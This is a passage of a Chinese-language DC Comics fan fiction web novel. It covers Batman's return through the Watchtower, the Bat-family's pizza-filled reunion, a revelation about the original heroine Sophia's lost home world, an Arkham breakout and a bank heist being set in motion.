直到两人进入到蝙蝠洞里拿到了卡珊端来的热可可，提姆杀人的眼神也没从康纳身上挪开。 “拜托小罗，是你说不许公主抱的, 我真的觉得那个姿势很顺手。” “把嘴闭上康纳。” 索菲亚假装喝水努力把上扬的嘴角下压, 而这时注视着自己的那个亚裔女孩的眼神便展现出极强的存在感, 和那双黑曜石一样的眼睛对视的那一刻，索菲亚在记忆里挖出了那个在游乐园和自己有过一面之缘的女孩。 “谢谢你卡珊，热可可很好喝。” 卡珊并没有收回眼神, 但听着索菲亚的话点了点头, 随后便继续安静的站在一旁观察大家的动作。 终于解放的斯蒂芬妮几乎是从蝙蝠车上飞了过来, 抱住了索菲亚的同时还在原地转了几个圈，直到自己被转到头晕才停了下来。 “坏猫头鹰, 我还以为你打算抛弃这个家了, 就因为布鲁斯那张迈巴赫一样优秀的脸不在了吗？我们还有法拉利一样优秀的迪克和提姆呢。” 被点到名字的迪克闻声转过了头, 青年刚刚摘下蝙蝠侠的面具, 蓝色的眼睛里还带着迷茫指了指自己。 “我吗？” 得知导师消息的阴暗蝙蝠侠（夜翼.ver）还没完全脱离苦大仇深的buff，带着笑容的脸上透露出十足的苦涩, 阴霾沉淀在青年的眉眼间, 让斯蒂芬妮径直把脑袋埋进了索菲亚披风里。 “求求你了迪克快去睡觉吧, 哥谭暂时失去几个小时蝙蝠侠是不会爆炸的。” 还想说点什么的迪克很快被超人拉回了注意力，两个人在交流目前的现状，而提姆在一旁帮忙补充信息。 考虑到四处穿越的蝙蝠侠身上可能会携带一旦释放会使得地球原地升天去见上帝的高强度能量，场地当然不可能选在人群密集的地区，那么曾经被猫头鹰杀人有限公司占据的韦恩公司夹层如今被蝙蝠侠收编改造的实验室因为坐落在市中心惨遭淘汰，正义大厅同样不被列入考虑范围中，思来想去远离人群甚至远离地球的瞭望塔成了最好的选择。 索菲亚尝试认真去听了这些作战计划，但坚持不到十分钟就开始和斯蒂芬妮的脑袋贴在一起蛐蛐整个哥谭。 据斯蒂芬妮说，迪克在高压情况下展现出来的暴躁易怒且控制欲极强的一面吓得紫色罗宾鸟恨不得连夜飞回家，完全看不出平时情商极高能轻松讨人喜欢人见人爱的样子，搅局者几次叛逆心理发作想要和新任蝙蝠侠吵架，但对方转头没的特性让找不到攻击对象的斯蒂芬妮气得锤墙。 但摘下了面具，那双忧郁的蓝眼睛里就只剩下了关心和疲惫，实在没办法昧着良心在这种情况下继续之前那些值得争论的话题，比如恐惧毒气太过危险对神经系统有极大的损害，再比如小丑的手段难以捉摸且实在残忍，迪克不希望看到另一个孩子在那里失去生命，以及换了新型药剂更加强力的贝恩，斯蒂芬妮这么纤细漂亮的孩子如果落下伤病该怎么办。 身高一米六五体重六十kg的斯蒂芬妮看了看自己能够轻松把大多数罪犯打到昏迷的肌肉，面对阴沉着脸的蝙蝠侠缓缓打出一个问号。 谁柔弱？蝙蝠洞里倒挂的蝙蝠吗？ 迷茫的并非斯蒂芬妮一人，因为蝙蝠侠的离去过分应激的迪克显然超出了索菲亚的认知范围，平时就几乎进化掉睡眠恨不得打八份工的小警员，此时更是超人附体，在监视还在阿卡姆入住的豪华会员的同时还能根据超人和红罗宾的建议对营救蝙蝠侠的作战计划进行补充。 完全插不上话的索菲亚喝下了卡珊端来的第三杯热可可，实在没忍住打了个饱嗝，斯蒂芬妮捂着嘴笑，如果不是周围都是人，小金毛此刻应该笑得更嚣张些，像是平日里倒吊在滴水兽上嘲笑猫头鹰结果被冷风灌进嘴里止不住的打嗝一样。 只是斯蒂芬妮嚣张了不到半分钟，经过的卡珊给她喝了一半的杯子里再次加满了可可。 “够了够了卡珊，再喝就要喝饱了，索菲亚也喝不下了。” 听完这句话，索菲亚立马把温热的可可一口闷掉，向同样黑发的女孩展示了空杯子。 “我其实还能喝，也不知道是谁不行了。” “你怎么可以说我不行，我不管卡珊我也要，给我倒满。” 容易上火的斯蒂芬妮竭尽全力才喝下一半饮料，最后只能表示落败，只是等了许久也没等到卡珊给索菲亚的杯子里续上可可，黑发的女孩颠了颠手里盛放饮料的水壶，侧着脑袋眨了眨黑色的眼睛。 “没有了。” 跟着一起打嗝的斯蒂芬妮追在索菲亚身后拿出了长棍，而索菲亚则绕着卡珊把斯蒂芬妮不远不近的落在身后，躲避着愤怒的罗宾带来的攻击。 “我恨你呃啊啊啊啊啊——” 而卡珊看着手里完全清空的水壶后，站在原地思考是否要上楼让阿福再准备一壶热可可给剩下的客人喝。 ———————— 提姆成为了蝙蝠洞内唯一能够前往瞭望塔把蝙蝠侠接回来的人，迪克需要留在哥谭防止阿卡姆在此期间搞个大的把哥谭炸上天，斯蒂芬妮作为罗宾自然也没打算离开，卡珊还在接受社会化以求早点融入社会，阿福和芭芭拉照例负责后援工作，思来想去目前没那么多工作要处理的红罗宾是最合适不过的人选。 索菲亚面对和提姆一起去把蝙蝠侠接回来的邀请摇了摇头，沉思了许久没有给出具体的答案，提姆知道索菲亚有自己的想法，或许只是现在不适合说出来，便没有强求和超人从蝙蝠洞离开前往瞭望塔。 就在两小时前，瞭望塔搜集到了一个散发出高频能量的个体出现，且位置距离当前世界越发接近，提姆的想法得到了肯定，这个个体便是失踪已久的导师蝙蝠侠。 只是随着时间的推移，蝙蝠侠身上的能量却显示出持续减弱的趋势，如果按照这个进度等蝙蝠侠在光线的作用下回到现在的时间线也不会造成送地球毁灭的结果，提姆不知道发生了什么，但总归事情在朝着好的方向发展。 绿灯侠和超人从其他星球搞到了能够吸收多余能量的设备，好在蝙蝠侠携带的能量不断被削弱才不至于一口气就把这些宝贵的设备报废掉。 一切准备就绪，红罗宾站了起来，前往公共区域的咖啡机给自己做一杯浓度高到足够提神的意式浓缩，这台咖啡机还是正联成立之初B为了方便大家在瞭望塔值班的时候提神配置的，旁边就是那个老是被少正的同伴提起的神奇女侠超级满意的冰淇淋机。 提姆站在咖啡机前被咖啡的气息完全包裹，看着咖啡液注入自己的马克杯中，直到机器停止运作少年端起马克杯时看到还在荡漾的液体表面，红罗宾才意识到自己的内心完全不像外表表现得那般平静。 “会没事的小罗，你要放心，蝙蝠侠总会赢不是吗？” 正在打冰淇淋的康纳拍了拍提姆的肩膀，随后探头看向少年杯子里格外醇香的咖啡液提出了友好建议。 “需要我给你的咖啡打一个冰淇淋球吗？我喝过这款还挺好喝的。” “谢谢但是不用了。”原教旨主义咖啡爱好者平静的拒绝了好友的建议，并把杯子挪到了更远的地方“也不需要牛奶和奶油。” “我明明看你上次在社媒发了去大都会喝heytea的照片，你明明能喝甜一点的东西的，那我上次约你你为什么不去？” 两双同样年轻的蓝眼睛隔着墨镜对上了视线，随后红罗宾扯出一个足够甜美的微笑来。 “陪女朋友去喝奶茶不是很正常吗？我以为你应该知道这个呢。” 常年保持花花公子人设但不到半个月就会分手的超级小子瞪圆了那双氪星人特有的蓝眼睛，随后明显放轻了力道的拳头打在了好友的后背上。 “你好过分，恋爱中的人都这么臭屁吗？是谁说的智者不入爱河。” “不知道啊，可能是外星人吧。”红罗宾眨了眨眼。 等待的时间格外漫长，但是对比先前不知道导师下落时煎熬的岁月，这些时间又显得格外短暂，在从小到大无数次被迫等待的时间里，提姆最不缺乏的就是耐心，而此刻在瞭望塔里有空闲的超英都聚集在这里等待蝙蝠侠的回归。 在正联的刻意引导下，那个亮点的位置逐渐与瞭望塔重合，在倒计时归零的那刻，那道在录像里出现过无数次给提姆带来噩梦的光线再次出现在现场，少年下意识想要抽出随身携带的长棍，就在所有人严阵以待的时候，超级小子率先发出惊呼。 “Batman！” 强光之后，随着烟雾的消散，那个红罗宾再熟悉不过的黑色身影终于出现在众人面前，唯一美中不足的是自己的导师在过去的时间线估计没少和不同人搏斗，此时身上那件凯夫拉材质的制服严重损坏，露出还带着血迹的皮肤，而身后那件堪比曾经在哥谭流行过的贵妇人夸张长裙的披风，此刻也只是凭借残缺的布料堪堪挂在男人身后。 即使看起来无比狼狈，但男人的眼神依旧坚定，钢蓝色的眼睛环视四周，终于没有散发出十足的警戒，虽然一向不苟言笑的蝙蝠侠没有露出笑容来，但只凭借提姆所看到的男人放松的面部皮肤，就能断定倒是目前心情不错，至少不用担心发生出差班主任回班后第一件事就是把全班痛骂一顿挨个算账的惨案。 就在众人都还僵硬着身体的时候，红蓝色的超人率先冲了上去将终于回归的挚友抱在怀里，随后反应过来的闪电侠拉着不情不愿吐槽这太gay了的绿灯侠，轻笑后一起走了过来的神奇女侠，专门从星城跑过来帮忙的绿箭侠，这些蝙蝠侠的朋友们一起上前将男人围在中间，用拥抱淹没了这个自称独自工作的男人。 提姆没有上前但随后就被康纳拉着完好的那只手挤进了大人组成的人群里，站在了蝙蝠侠面前，男人钢蓝色的眼睛里映出少年前不久在遭到袭击时脸上还未愈合的伤痕。 提姆不知道说些什么，就被导师温热的双臂环住，在蝙蝠侠温暖的怀抱里，红罗宾终于抬起手回应了这个隔了太久的拥抱。 “欢迎回来。” 第102章 正义联盟超级大烫门角色蝙蝠侠限时回归, 粉丝见面会现场水泄不通，想要和哥谭超人气偶像拥抱的人从瞭望塔排到了蝙蝠洞。 在等待蝙蝠侠回来的过程里，索菲亚和斯蒂芬妮追逐打闹的场地从蝙蝠洞转移到庄园里的客厅, 又从客厅一路跑到花坛里，期间二人追着追着就打了起来索菲亚手起刀落，砍坏了阿福刚修剪过的非常饱满美丽的灌木。 “你完蛋了索菲亚, 等着阿福来制裁你吧。” 索菲亚错愕的转头看向灌木的残骸, 脑海里已经浮现出韦恩家真正的食物链顶端管家侠不赞同的眼神，默默的把刀收了回去。 “你最好现在就考上哈佛，不然蝙蝠侠都救不了你。” 斯蒂芬妮回头做了个鬼脸做了个抹脖子的动作。 同样被划分为帮不上大忙不如出去玩的卡珊跟在两人身后，看着这一黑一金两个女孩快要打了起来, 随即挺身而出加入了战局, 让本来只是玩闹性质的打闹立马上升了一个层次。 和斯蒂芬妮说的一样, 卡珊是受过正经格斗训练的战斗天才，和索菲亚这张被逼着成长不进步就得死的摆烂人不同，少女的每个动作都是标准的杀人技, 只是简单对上索菲亚就直呼棘手。 依靠体内的琥珀金带来的恢复能力就硬扛伤害打架的猫头鹰被逼的拿出了吃饭的技巧, 但每每到了真正能够夺人性命的恶毒招数的时候, 被哥谭义警长期教育的索菲亚还是下意识收手，导致这一架不管是卡珊还是索菲亚都打的别扭。 而斯蒂芬妮显然已经从卡珊的战斗中得到了充分地应对经验, 在开始的几招显得格外游刃有余, 但没过几招面对卡珊明显加快的动作, 少女逐渐显得力不从心, 眼睛看懂了身体没懂的糟糕体验还是让紫罗宾滋哇乱叫，随后在叫停战斗后无奈捶地。 “可恶, 太弱小了没有力量。” 索菲亚看着趴在地上的斯蒂芬妮没有表情, 仍旧直挺挺的站着摆出一副不过如此的高冷表情, 实际上被卡珊打中的地方都超级痛，虽然不会落下伤来，但真的很痛。 现在还能坚持站着全靠猎魔人过高的偶像包袱。 可恶，应该把提姆也叫回来挨打的。 不行还是不够，回头得想个办法把杰森和达米安都骗过来挨打。 索菲亚竭力摆出一副成熟大姐姐的模样，看着几乎没什么情绪的卡珊，少女从口袋里掏掏掏，终于找到了从中东带回来的还没剥壳的夏威夷果递给这个终于比自己小的妹妹。 “你饿吗？要不要和我们去吃饭。” 卡珊德拉看了看手心有着坚硬外壳的干果，黑色的眼睛微微转动，随着少女手心握紧，那坚硬的外壳传来一声脆响，白色的果仁混杂着外壳的残渣留在手心。 “你打开了呀，里面的果仁可以吃，很好吃的。” 索菲亚伸手把卡珊手上那些残渣都扫了下去，只留下果仁在少女手心。 “那我们吃什么罗宾小姐？” 看着斯蒂芬妮对着过分坚硬的干果使尽浑身解数，金色的头发被汗液打湿粘在脸上的狼狈摸样，索菲亚想起那把夏威夷果钥匙递了过去。 “用我这把吧，这把比较锋利。” “我们家楼下那家披萨怎么样？培根薯角披萨，不够的话还可以要一个一个意式香肠的。” 此时三个人都在嘴里嚼夏威夷果，沉默片刻索菲亚点了点头。 “可以，但我的车只能带一个人。” ——————— 两辆机车以非常嚣张的姿态驶出了韦恩庄园的车库，在布里斯托郡的郊区以120英里的速度在公路上疾驰，从完全远离其他富人聚集区的韦恩庄园出发，足足跑了十分钟索菲亚才看到其他的住宅，再往后随着植被的减少，三人也终于驶入了哥谭城区。 在郊区索菲亚还能仗着没有监控为所欲为轻而易举地把油门拧到120，但进了市区就只能变成遵守交规的合法市民，老老实实把车速压在了50，在车流中穿梭。 唯一可惜的是面对两个成熟前辈的邀请，卡珊思考了几秒最终抛下了同为亚裔甚至都或多或少做过杀手的索菲亚，而是坐在了斯蒂芬妮的车后。 不过这点情绪在到达披萨店的时候就已经完全烟消云散了，索菲亚推开门一眼就看到了靠窗的沙发位置，随后斯蒂芬妮和卡珊跟着走了进来坐在了座位上。 只可惜冒着热气的披萨刚端上来，几人就收到了蝙蝠侠已经完成全部检查马上要回蝙蝠洞的信息，索菲亚顾不上那么多扯起一块加了芝士的披萨塞进嘴里。 “先吃一个我要饿死了。” 跟着阿福坚持健康饮食的斯蒂芬妮同样拒绝不了满是热量炸弹的披萨的诱惑埋头苦吃，而卡珊看向热气腾腾的散发出优质碳水和蛋白质搭配酱料香味的披萨，学着另外两个女孩的样子把超长拉丝的披萨塞进了嘴里，试探的嚼了嚼。 索菲亚看到了女孩一向毫无波澜的眼睛里突然泛起了涟漪，蝙蝠洞里最后一个不沉溺于垃圾食物的小孩彻底沦陷，被碳水炸弹完全捕获，埋着头加入了埋头苦吃的嚼嚼嚼过程。 为了表现对蝙蝠侠的看重，索菲亚特地多点了几个披萨带回去，要提及具体数量的话，那大概率是半本菜单都被点了个遍。 这可是蝙蝠侠诶，他从原始时代玩绝地求生一直到现在肯定忘记了现代科技下垃圾食品的快乐，这不得好好享受一番，因此除了披萨外索菲亚还带了几大瓶碳酸饮料回去。 刚刚进城还来不及纸醉金迷的猎魔人只能灰头土脸的端着好多披萨盒又急匆匆的赶回蝙蝠洞，身后是罗宾的嘲笑声。 蝙蝠洞内大家正在排队领取蝙蝠侠的拥抱，成熟的红罗宾声称已经领过这个拥抱，愿意把黑暗骑士让给其他兄弟姐妹，迪克左右环顾发现除了自己以外的三个女孩都没了影子，只能眼含热泪抱了导师十分钟，已经赶到的芭芭拉当然也领到了这个拥抱。 于是在蝙蝠侠要开始复盘经历的时候，三只格外吵闹的小鸟终于从哥谭城飞了回来，还带着披萨和干果的香气。 “有谁要吃披萨吗？”罗宾探出头来看向蝙蝠洞里几个成员的视线举起手里的披萨盒“我们带了好多，要不要一起吃。” 蝙蝠洞内一下子因为过分活泼成员的回归变得热闹起来，听到大家都领了拥抱的斯蒂芬妮大喊着我也是罗宾为什么不抱我，左手拉着卡珊德拉右手拉着索菲亚一起围住了足够高大的蝙蝠侠，在对方格外坚实的胸肌上停留片刻后，欣慰的离开跑到了芭芭拉身边。 索菲亚则抱着可乐蹭到了提姆身边，扯了扯对方黑红色的披风。 “你喝可乐不？” 提姆侧过身体同样压低了声音。 “我在瞭望塔喝了五杯咖啡，已经喝饱了。” 得到了拒绝回答的索菲亚伸手抓起少年还没摘下手套的手重重的捏了一下，随后转身开始给其他同伴推销冰可乐，有的人选择加入可乐神教，有的人和提姆一样喝咖啡喝到水饱，而在经过那个换上了常服的黑漆漆的身影，索菲亚下意识就要略过去，随后被扯住了披风。 “我要喝，能给我倒点吗？” 钢蓝色的眼睛格外认真，索菲亚干脆拧开瓶盖给男人手里的杯子倒上了几乎要洒出来的可乐，随后继续抱着瓶子回到自己放杯子的位置给自己也同样倒满，这时手里的瓶子彻底清空，被索菲亚扔进了垃圾桶里。 原本来进行的信息交换环节突然被终止，几乎每个人都在嚼嚼嚼，先前说自己喝饱了的红罗宾捏着块披萨摸了过来，旁若无人的把脑袋靠在索菲亚的肩膀上。 “让我喝一口。” “你不是不喝吗？” “可我现在想喝了。” o(*￣▽￣*)o 完全不护食的索菲亚把马克杯举了起来，让四处奔波的红罗宾喝了一大口，随后便是能够感知到的少年的身体放松下来的那个片刻。 “没遇到什么麻烦吧。” “很顺利，检查报告也说没什么问题，都是些不严重的外伤。” 少年将体重一部分压在了索菲亚的肩膀上，算不上是负担，甚至有点好玩，索菲亚就在那里跟着一起吃其他口味的披萨然后一口一口喝手里的饮料，最后一口结束的时候，蝙蝠侠重新开始了复盘。 从被欧米伽射线击中穿越回过去，再到如何适应不同的环境，在频繁的穿越中找到规律，索菲亚本想摆出一种见多识广的成熟模样，但听到蝙蝠侠自述和霸王龙激烈搏斗后获胜，以及和猛犸象战斗的经历时，还是展现出了没见过世面的乡巴佬模样。 但看了看其他人，都因为这些过于科幻的经历受到了冲击，索菲亚的心态才稍微平衡了些，而早早知道一切的提姆却没有太大反应。 “太可惜了，要是能把这些画面记录下来就好了，我一定经常拿出来品鉴。” “蝙蝠侠大战霸王龙，听起来很小众。” 蝙蝠侠讲述的语气非常平淡，仿佛在讲和自己无关的故事，甚至忘记了阿福在给他肩膀上的伤口缝针，索菲亚没忍住多看了两眼倒吸一口冷气。 看起来就好痛。 “索菲亚，最后一件事和你有关。” 突然被cue到的索菲亚猛地站直了身体，让失去了支点的提姆险些摔在少女背上，猎魔人的大脑疯狂运转思考蝙蝠侠是怎么知道自己在刺客联盟是怎么杀的七进七出，现在是要开始算账了吗？那之后是去黑门监狱还是去阿卡姆？ 还没想明白自己哪件迫使被蝙蝠侠知道了的索菲亚很快就被男人接下来的话震惊的睁大了眼睛。 “在穿越的过程里我遇到了一些帮助，系统吸收了多余的能量让我能够顺利回来，而就在我即将回到现在时，我看到了二十年前发生的事。” “你从你的世界被拉到了另一个世界，和阿尔伯特一起跌入了哥谭地下被污染的拉撒路之池中，也因此失去了意识。系统在那时和你绑定保证你的精神没有被污染，直到你能够醒来的那一天。” “除此之外，我或许看到了你的世界。” 第103章 蝙蝠侠的话听起来有点离谱。 目前这个蝙蝠洞里, 红罗宾联系上了系统虽然只有两句对话，蝙蝠侠同样和系统进行了接触，甚至要比此时蝙蝠洞里的几个人接触的都要深入, 只有索菲亚，这个被系统背后的监护人抚养了三年的倒霉小孩没办法和系统取得哪怕一点联系。 监护人，不爱了吗？ 但好消息是蝙蝠侠在回来的路上能看到自己曾经成长的世界, 是不是意味着这列背道而驰的火车还有能够上车的希望, 而不是只能站在站台看着自己的故乡像长了腿一样逃走。 蝙蝠侠注视着索菲亚的眼睛，那个一向沉默而无比靠谱的黑暗骑士对索菲亚做出了承诺。 “我会尝试去寻找那个世界。” 索菲亚对着那双钢蓝色的眼睛点了点头，整理好思绪才继续开口。 “那边的变化很大吗？” 对于大多数人来讲，一觉睡醒后发现过了二十年本身已经是足以拍成恐怖片的经典桥段, 从自己原先的生活轨道上脱轨被迫接受错过了大多数家人朋友的人生, 而对于这二十年来信息的缺失更是让人产生十足的割裂感。 索菲亚运气好些, 没有亲身经历法庭里听起来不比审判庭好上多少的二十年被折磨的生活，至少从醒来到现在索菲亚都可以说自己穿越来的时间只有不到一年，毕竟这个时间听起来就好像自己去了远一点的地方念书, 只要等到放假或者毕业的时候, 就还可以和那些熟悉的人见面。 索菲亚从来不敢细想, 如果真的过去了二十年，那么监护人那里也是吗？自己来这里之前最熟悉的两个人, 监护人伊芙琳刚刚二十五岁刚成为公司总裁没多久, 被阿尔伯特一直惦记的爱德华也不过只有十九岁。 而如今, 这两个人从青年一步跨进了中年的行列里, 不说别的索菲亚只能祈祷两个人的运气足够支撑作为猎魔人刀口舔血二十年的生活，不管怎么说至少不让要猎魔人小队变成残疾人联盟这听起来也太惨了吧。 “两边时间流速不同, 但过去的时间最长不超过十年。” 听到这个好消息索菲亚几乎落泪。 太好了, 年龄差只有十二岁的监护人姐姐不至于一下子变成妈妈或者奶奶的超级加倍的情况, 像美国队长那种睡过去七十年醒过来发现已经是当别人爷爷年纪的故事还是不要在现实世界发生了。 这里是DC谁在做美国队长！ 冬*战士也不行！ 交代完索菲亚这边额外的事，接下来整个蝙蝠洞很快投入了对于系统的解析研究以及对接下来夜巡的准备，迪克换下了蝙蝠侠的制服重新换上了那身黑蓝色调为主的夜翼制服，斯蒂芬妮看了看提姆身上红黑配色的新制服，又看了看自己身上的罗宾制服提出了疑问。 “今天还是紫罗宾去夜巡吗？” “红罗宾也可以就位。”提姆从椅子上转了过来，向大家展示自己还架在脖子上尚未恢复的左手“只不过罗宾应该不会让骨折的红罗宾去夜巡吧。” “不用打石膏吗？”索菲亚对着那只手戳了戳。 “没有那么严重，只是需要静养几天，不过我更担心的是我要怎么给我爸妈交代刚开学就旷课快半个月的事。” 正在吃最后一片披萨的索菲亚动作同样僵住了，但想起来系统目前应该没办法知道自己旷课的事这才放下心来，上不了学算什么？在猎魔人界初中毕业已经能击败百分之七十的同行了，堪称学历巅峰。 “迪克你的工作没关系吗？”正在戴面具的罗宾探头看向自己的临时蝙蝠侠，就看到夜翼露出一个羞涩的笑。 “这个月工资已经扣干净了，月底交不上房租我就可以去做homeless了。” 迪克的笑容里带着酸涩带着绝望，随后青年的笑逐渐放纵直到疯狂。 “做警察明明是很好的，做义警也很棒，但为什么加在一起就会痛苦呢？一定是假的，都是假的，我现在兜里一定有一张中了百万美元的彩票对吧。” 索菲亚看了看被现实击垮的成年人，从口袋里努力掏了掏，掏出制服夹层的口袋里在法国留下的最后的一百欧元拍到迪克手里。 “拿去吧，我最后的一百块，吃点好的。” 卡珊德拉目前处于社会化的初级阶段，不理解几个人的金钱交易，干脆学着索菲亚的样子从口袋里摸了摸，最后摸出来五块钱也交到迪克手里。 被弟弟妹妹关心财务状况的可怜打工人绝望的闭上了眼睛。 —————————— 差点成为哥谭市长，但快速进阶成为阿卡姆VIP用户的AKA利爪林肯马奇最近的生活有点舒服过头了。 自从法庭完蛋后，林肯坦然接受了锒铛入狱的结果。 其实不接受也行，也就是和一二三四个义警进行搏斗，其中还不排除那个不知道什么时候从刺客转职成法师能随时搞出魔法把利爪冻上的索菲亚。哦对，最近罗宾似乎又换人了，还多了个同样一身黑打人巨痛但不致死的浑身黑色的新任蝙蝠女，这点打着石膏的谜语人可以作证。 那些陆陆续续逃狱又陆陆续续被抓回来的邻居们每个都对哥谭过多的义警进行了深刻的投诉，而少数懒得逃狱的林肯就盘着腿听这些人脏话含量极高的逃狱座谈会。 也因为这几次混乱的迁徙行为，林肯的狱友从谜语人换成了双面人和缄默，方便这三个和布鲁斯韦恩有深仇大恨的男人可以在阿卡姆进行布鲁斯韦恩主题的交流会。 好在小丑目前不管换了几次牢房距离林肯都有些距离，让利爪不必在失业之余还要聆听其他病友过分嚣张的笑声进入失眠的状态下，很难说小丑的邻居三天两头逃狱是不是因为受不了失眠的折磨。 据说小丑还把之前的心理医生一起拉下水成了小丑女，让心理学界少了一个伟大的医生的同时让哥谭本就拥挤的罪犯界多了个随时打算给蝙蝠侠整个大的的哈莉奎因。 那很让人头大了。 但这跟林肯没有多大关系，头大的只会是蝙蝠侠。 难得的放风时间，林肯正在白炽灯下享受自己美丽的下午茶，一小块干巴面包搭配罐头，罐头是刚刚回家的企鹅人搞来的，这群加入了阿卡姆病友群的人有幸都蹭上了企鹅人的馈赠，而在林肯对面的谜语人还在念叨自己的新谜语。 和法庭里那些大人物相处多年习惯了对方需求从不说清楚只一遍遍说不合适，等到最后要求用第一版的弱智风格，对比之下谜语人只是需要找一个能听他说话的人，也不需要利爪冒着大雨把二十年前踩过上司一脚的仇人一家都杀干净，已经算得上非常和蔼了。 手里开了盖的罐头内部被冷却的白花花油脂覆盖的肉类看起来有些让人反胃，但总比阿卡姆平时端来的活像是排泄物的餐食强上不少，谜语人的口水依旧喷个不停，而林肯就这样顶着冷气用勺子把罐头里的内容物一点一点的涂在面包上咽了下来。 “你要是不吃的话可以给我。” “你真的不考虑下次一起出去搞个大的吗？尼格玛快把邀请函拍你脸上了。”路过的缄默顶着那张酷似布鲁斯韦恩的脸经过，让林肯不免ptsd发作立马就要大叫出声，只能用下一片面包塞住了自己想要尖叫的嘴。 “我想去法国卖防晒油，阳光，沙滩，度假，路过的姑娘，或者变成住在法国海滩的猫头鹰也行，不用上班不用加班不担心猝死，我青春期就想好这样的生活了。” “那你不是更应该去搞一把大的带着钱远走高飞？下周哥谭银行，两个亿走不走。”双面人也停了下来“我可以考虑四六分成，实在不行五五也可以。” 这张狭小的桌子此刻坐满了人，被各种犯罪计划围绕听的头大的林肯干脆从双面人的罐头里也挖走一大勺，而在这时缄默再次开口，只不过这次的内容略有不同。 “你们意识到了吗？阿卡姆最近有些不同。” 顺着缄默的眼神看过去，林肯看到了几个有些陌生的面孔，乍看过去和普通的护工似乎没什么区别，只是细看才能意识到这群人无论是脚步还是呼吸都长期保持在一个过分稳定的频率和力度下。 好歹也是做了那么久无偿猫头鹰刺客，林肯很快就猜到了这群突然混进阿卡姆的家伙的身份，大概率是些同行，不过猫头鹰法庭此时死的不能再死，还能有什么势力能这样混进阿卡姆且不被蝙蝠侠注意到？ 其他人或许不知道这帮人的身份，林肯却很快从记忆里找出了这些刺客的来历，法庭曾经和来自中东的刺客联盟合作，自己这种小喽啰虽然没资格面见那位据说活了几百年的恶魔之首，但也对刺客联盟有些认知。 比如负责和法庭交接的那个同样喜欢把自己打扮成猫头鹰被称为牧首的家伙，以及他手下那群和利爪查重率过高的猫头鹰刺客，林肯第一次有资格和那些刺客见面时只以为利爪背着自己开了社招招回来这么一批难搞的家伙。 只不过牧首出现的次数不多，二十年下来两只手就能数的过来，但每次给法庭出的点子都在法庭本就不坚固的瘸腿上揣上一脚，不管是以牺牲利爪质量来扩大生产的琥珀金研究，还是后期干脆把低质量利爪报废，也不知道那群猫头鹰是怎么头脑一热同意这种想法的。 不过现在这些都和自己没什么关系了，毕竟法庭已经完蛋了，牧首还能做些什么？ 林肯抱着这样的想法回到自己的房间前，就听到了一声震耳欲聋的爆炸声，以及被那些刺客所打开的牢房门。 小丑的笑声格外刺耳，而在那个绿色的癫狂的身影旁，林肯再次看到了牧首。 第104章 在哥谭, 任何还没有进入睡眠的哥谭人都意识到了这一夜的与众不同。 哥谭的夜晚总是很简单，犯罪，挨打, 进GCPD或者随便在路边找家晚上营业的快餐店补充碳水防止被过量运动饿死的同时偶遇不同颜色的义警，例如红绿灯色调的罗宾鸟，蓝黑相间的大罗宾鸟, 红黑色调的中型罗宾鸟, 纯黑的猫头鹰和唯一不是鸟类的大蝙蝠。 此时已经入秋，随着连绵不断的秋雨而来的就是气温的骤降，再抗冻的哥谭人也得老老实实的披上外套防止被从哥谭湾而来的海风狂扇几个耳光，但对于常年穿着紧身衣去和人进行真人搏斗疑似有精神问题的义警来讲, 则恰当好处。 索菲亚只以为是在普通不过的一夜, 蹲在市中心的滴水兽上仔细辨别正在处于监听状态的GCPD的通话内容, 夜翼选了另外的方向夜巡，而蝙蝠侠和罗宾则留在东区对着那群夜晚带着无数违禁品出门的毒虫们重拳出击。 今晚是哥谭银行每个月运送大量钞票的固定时间，数以百万计的美金通过运钞车在整个哥谭进行流通, 蝙蝠侠对此格外重视, 这也是索菲亚位于此地的原因。 毕竟如果你生活在一个蝙蝠侠狂热爱好者聚集的城市里, 每天被迫观看各种好莱坞特有的艺术爆炸大场面，偶尔还要被一群拥有阿卡姆完整病例的神经病绑在铁轨上成为考验蝙蝠侠道德感的电车难题的无辜受害者, 即使嗑药磕坏了脑子的毒虫也该知道除了去舔那些富得流油的哥谭蛀虫外, 最快来钱的办法还是非抢银行莫属。 通讯那头的红罗宾很快黑入了新的通话并将这段对话同步了过来, 索菲亚静静听了一会儿明白了眼下的情况。 —————— 克里斯原先是黑面具的手下, 也是端着冲锋枪陪着□□老大和人血拼的铁血硬汉，只可惜在半个月前蝙蝠侠一改往日的作风, 一顿攻击劈头盖脸而来, 把黑面具打到休克后便顺手送去了阿卡姆。 失去了老大, 资金支持和活动场地的克里斯很快就因为年龄超过三十五岁被受到重创的黑面具帮所优化，但是中年危机的男人无论在哪里都需要被迫面对就业难题，在处处碰壁后，克里斯在曾经伙计的介绍下接了个大活。 据说这次是双面人攒的局，线人提前得知哥谭银行除了运送大量现金外，还将会护送一颗价值几千万美元的蓝宝石进入哥谭银行安全系数最高的保险柜进行保存，不说其他，金库内的现金就足够令人眼红，更何况对于一个中年失业的哥谭男人来说谁会拒绝这样一份来钱快的工作。 按照伙计的意思，这一笔但凡能做成，克里斯能拿到二十万的分成，虽然没那么多，但也比给那种朝不保夕的黑老大卖命要强得多，思考片刻，克里斯同意入伙。 于是在约定好的这天，克里斯作为副驾看似无意的和同伙出现在了哥谭银行的附近提前进行踩点，作为司机的是个二十多岁的年轻人，只不过这年轻人也算经验丰富，也因为在不同□□流转背了案底，说来按照工作经验来看，应届学士学位毕业的克里斯和这年轻人工龄竟然大差不差。 听后座那位介绍克里斯而来的朋友劳伦斯说，司机的薪水比克里斯要高一倍，这次应该能拿到五十万。 可恶，这就是二十岁有五年工作经验的优秀罪犯吗？ 到底在卷什么啊。 内卷狗不得好死！ 还没进入午夜，大多数遵纪守法的哥谭人早早的回到了自己的家，如今在哥谭银行附近逗留的大多都是些多次进宫的法外狂徒，但开着□□后备箱放着头套手提包热武器的，大多数都是克里斯这次的同伙。 计划很简单，这次抢劫的团伙分为两部分，两辆一模一样的□□搭配同样型号的枪支弹药以及装备，但只有一辆真正负责深入银行进行抢劫，双面人此刻就坐在这辆车上等到拿到这笔资金东山再起，而克里斯这辆车则只是一个诱饵，负责提前踩点吸引GCPD以及义警的视线，这也是这一车人加在一起拿不到一百万报酬的原因。 可恶，即使兼职也不能加入公司核心工作吗？牛马的命也是命！ 在约定的押运车到来之前，司机提前将车停在了隐秘处，劳伦斯则提前取好了装备给三人换好，接下来就是等待。 按照计划双面人那辆车已经就位，而克里斯这边已经做好了佯攻吸引条子和义警的准备。 